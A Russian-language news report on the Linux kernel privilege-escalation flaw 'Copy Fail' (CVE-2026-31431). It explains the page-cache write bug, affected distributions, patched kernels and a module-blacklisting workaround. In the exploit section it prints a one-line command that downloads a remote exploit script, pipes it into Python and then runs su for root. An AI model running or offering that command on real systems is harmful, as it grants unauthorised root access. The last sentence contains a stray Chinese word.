В Linux обнаружена критическая уязвимость с говорящим названием Copy Fail (CVE-2026-31431). 10 строк кода на Python позволяют обычному пользователю получить root-доступ без race conditions, подбора оффсетов и сложной подготовки. Эксплоит подтвержден на Ubuntu, Amazon Linux, RHEL и SUSE. 732-байтный скрипт срабатывает на всех системах с ядром Linux 4.14 и новее.
Как работает уязвимость?
Проблема в логической ошибке криптоподсистемы: цепочка authencesn → AF_ALG → splice() ведет к контролируемой записи в page cache. Напомним, ядро использует page cache при загрузке бинарников. Модифицированная cached-версия выполняется, но не отслеживается системами типа inotify. «Позволяет записать 4 контролируемых байта в page cache любого читаемого файла», — поясняют исследователи Theori.
Почему это опасно?
Уязвимость сама по себе не удаленная. Но для shared-хостов, CI/CD runners, Kubernetes, SaaS-платформ это критично. Контейнер или обычный пользователь могут стать угрозой уровня хоста. «Цепляйте ее с веб-RCE, SSH-компроматом или вредоносным PR в CI — и вы получаете root», — предупреждают специалисты. В отличие от Dirty Cow и Dirty Pipe, здесь не нужно выигрывать гонку состояний.
Эксплоит в действии
Эксплоит крошечный и эффективный:
$ curl https://copy.fail/exp | python3 && su
Скрипт модифицирует setuid-бинарник (например, /usr/bin/su) через page cache. Используется сжатая полезная нагрузка на zlib для перезаписи нужных байт в бинарнике. Особенность: не оставляет следов на диске и работает в 100% случаев на уязвимых системах.
Статус патчей
Разработчики дистрибутивов уже выпустили обновления. Патч включен в:
- Debian (статус обновления отслеживается на их сайте)
- Ubuntu 24.04 LTS
- RHEL 10.1 (ранее заявлял о задержке, но изменил решение)
- SUSE/openSUSE
Ядра Linux 6.18.22, 6.19.12 и 7.0 содержат исправление. Уязвимость выявлена с помощью ИИ-сканера Xint Code за час экспериментов.
Временные меры защиты
Если обновить ядро нельзя, отключите модуль algif_aead:
- Блокировка AF_ALG: настройка seccomp
- Черный список модуля:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead
Проверьте запущенные приложения через lsof | grep AF_ALG.
[Изображение|График приоритетов патчинга: сверху Kubernetes и CI, снизу рабочие станции]
CVSS-уязвимость оценена на 7.8 баллов из 10. По наблюдению Trend Micro, рост таких находок связан с активным использованием ИИ-инструментов для поиска багов. Это уже привело к временной暂停 Internet Bug Bounty из-за наплыва отчетов.
